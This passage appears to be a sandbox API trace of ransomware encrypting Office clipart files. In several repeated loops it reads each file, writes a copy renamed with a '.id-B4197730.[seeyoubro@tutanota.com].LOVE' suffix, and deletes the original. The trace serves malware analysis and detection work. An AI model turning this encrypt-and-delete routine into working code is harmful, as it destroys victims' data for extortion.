[0209.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.022] lstrlenW (lpString=".ppt") returned 4 [0209.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.023] lstrlenW (lpString=".zip") returned 4 [0209.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.023] lstrlenW (lpString=".rar") returned 4 [0209.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString=".bz2") returned 4 [0209.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString=".7z") returned 3 [0209.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.023] lstrlenW (lpString=".dbf") returned 4 [0209.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.023] lstrlenW (lpString=".1cd") returned 4 [0209.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.023] lstrlenW (lpString=".jpg") returned 4 [0209.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.023] lstrlenW (lpString=".doc") returned 4 [0209.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString=".docx") returned 5 [0209.023] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.023] lstrlenW (lpString=".pdf") returned 4 [0209.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.023] lstrlenW (lpString=".xls") returned 4 [0209.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.023] lstrlenW (lpString=".xlsx") returned 5 [0209.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.024] lstrlenW (lpString=".ppt") returned 4 [0209.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.024] lstrlenW (lpString=".zip") returned 4 [0209.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.024] lstrlenW (lpString=".rar") returned 4 [0209.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.024] lstrlenW (lpString=".bz2") returned 4 [0209.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.024] lstrlenW (lpString=".7z") returned 3 [0209.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.024] lstrlenW (lpString=".dbf") returned 4 [0209.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.024] lstrlenW (lpString=".1cd") returned 4 [0209.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0209.024] lstrlenW (lpString=".jpg") returned 4 [0209.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.024] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0209.024] lstrlenW (lpString="BS00224_.WMF") returned 12 [0209.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0209.025] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1588) returned 1 [0209.025] CloseHandle (hObject=0x2f0) returned 1 [0209.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0209.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0209.025] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.025] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.026] GetLastError () returned 0x0 [0209.026] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x634, lpOverlapped=0x0) returned 1 [0209.027] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x640, lpOverlapped=0x0) returned 1 [0209.028] ReadFile (in: hFile=0x2f0, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.028] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.028] SetEndOfFile (hFile=0x380) returned 1 [0209.028] CloseHandle (hObject=0x380) returned 1 [0209.029] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.029] SetEndOfFile (hFile=0x2f0) returned 1 [0209.030] CloseHandle (hObject=0x2f0) returned 1 [0209.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0209.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.031] lstrlenW (lpString=".doc") returned 4 [0209.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.031] lstrlenW (lpString=".docx") returned 5 [0209.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.031] lstrlenW (lpString=".pdf") returned 4 [0209.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.031] lstrlenW (lpString=".xls") returned 4 [0209.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.031] lstrlenW (lpString=".xlsx") returned 5 [0209.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.031] lstrlenW (lpString=".ppt") returned 4 [0209.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.031] lstrlenW (lpString=".zip") returned 4 [0209.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.031] lstrlenW (lpString=".rar") returned 4 [0209.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.031] lstrlenW (lpString=".bz2") returned 4 [0209.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.031] lstrlenW (lpString=".7z") returned 3 [0209.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.031] lstrlenW (lpString=".dbf") returned 4 [0209.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".1cd") returned 4 [0209.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".jpg") returned 4 [0209.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".doc") returned 4 [0209.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString=".docx") returned 5 [0209.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.032] lstrlenW (lpString=".pdf") returned 4 [0209.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString=".xls") returned 4 [0209.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.032] lstrlenW (lpString=".xlsx") returned 5 [0209.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.032] lstrlenW (lpString=".ppt") returned 4 [0209.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".zip") returned 4 [0209.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.032] lstrlenW (lpString=".rar") returned 4 [0209.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString=".bz2") returned 4 [0209.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString=".7z") returned 3 [0209.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".dbf") returned 4 [0209.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".1cd") returned 4 [0209.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0209.032] lstrlenW (lpString=".jpg") returned 4 [0209.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.033] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0209.033] lstrlenW (lpString="BS00438_.WMF") returned 12 [0209.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.037] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1212) returned 1 [0209.037] CloseHandle (hObject=0x374) returned 1 [0209.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0209.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0209.038] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.038] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0209.038] GetLastError () returned 0x0 [0209.038] ReadFile (in: hFile=0x374, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0209.114] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0209.319] ReadFile (in: hFile=0x374, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.319] WriteFile (in: hFile=0x384, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.319] SetEndOfFile (hFile=0x384) returned 1 [0209.319] CloseHandle (hObject=0x384) returned 1 [0209.320] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.320] SetEndOfFile (hFile=0x374) returned 1 [0209.321] CloseHandle (hObject=0x374) returned 1 [0209.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0209.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0209.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.732] lstrlenW (lpString=".doc") returned 4 [0209.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.732] lstrlenW (lpString=".docx") returned 5 [0209.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.733] lstrlenW (lpString=".pdf") returned 4 [0209.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.733] lstrlenW (lpString=".xls") returned 4 [0209.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.733] lstrlenW (lpString=".xlsx") returned 5 [0209.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.733] lstrlenW (lpString=".ppt") returned 4 [0209.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.733] lstrlenW (lpString=".zip") returned 4 [0209.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.733] lstrlenW (lpString=".rar") returned 4 [0209.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.733] lstrlenW (lpString=".bz2") returned 4 [0209.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.733] lstrlenW (lpString=".7z") returned 3 [0209.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.733] lstrlenW (lpString=".dbf") returned 4 [0209.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.733] lstrlenW (lpString=".1cd") returned 4 [0209.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.734] lstrlenW (lpString=".jpg") returned 4 [0209.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.734] lstrlenW (lpString=".doc") returned 4 [0209.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.734] lstrlenW (lpString=".docx") returned 5 [0209.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0209.734] lstrlenW (lpString=".pdf") returned 4 [0209.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.734] lstrlenW (lpString=".xls") returned 4 [0209.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.734] lstrlenW (lpString=".xlsx") returned 5 [0209.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0209.736] lstrlenW (lpString=".ppt") returned 4 [0209.736] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.736] lstrlenW (lpString=".zip") returned 4 [0209.736] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.736] lstrlenW (lpString=".rar") returned 4 [0209.736] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.736] lstrlenW (lpString=".bz2") returned 4 [0209.736] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.736] lstrlenW (lpString=".7z") returned 3 [0209.736] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.737] lstrlenW (lpString=".dbf") returned 4 [0209.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.737] lstrlenW (lpString=".1cd") returned 4 [0209.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0209.737] lstrlenW (lpString=".jpg") returned 4 [0209.737] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.737] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0209.737] lstrlenW (lpString="BS01636_.WMF") returned 12 [0209.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0210.181] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=1874) returned 1 [0210.181] CloseHandle (hObject=0x37c) returned 1 [0210.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x220 [0210.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0210.181] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.181] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0210.182] GetLastError () returned 0x0 [0210.182] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x752, lpOverlapped=0x0) returned 1 [0210.265] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x760, lpOverlapped=0x0) returned 1 [0210.266] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.266] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.266] SetEndOfFile (hFile=0x300) returned 1 [0210.267] CloseHandle (hObject=0x300) returned 1 [0210.268] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.268] SetEndOfFile (hFile=0x37c) returned 1 [0210.268] CloseHandle (hObject=0x37c) returned 1 [0210.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0210.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.269] lstrlenW (lpString=".doc") returned 4 [0210.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.269] lstrlenW (lpString=".docx") returned 5 [0210.269] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.269] lstrlenW (lpString=".pdf") returned 4 [0210.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.269] lstrlenW (lpString=".xls") returned 4 [0210.269] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.269] lstrlenW (lpString=".xlsx") returned 5 [0210.269] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.269] lstrlenW (lpString=".ppt") returned 4 [0210.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.269] lstrlenW (lpString="C:\\Program Files\\Microsoft 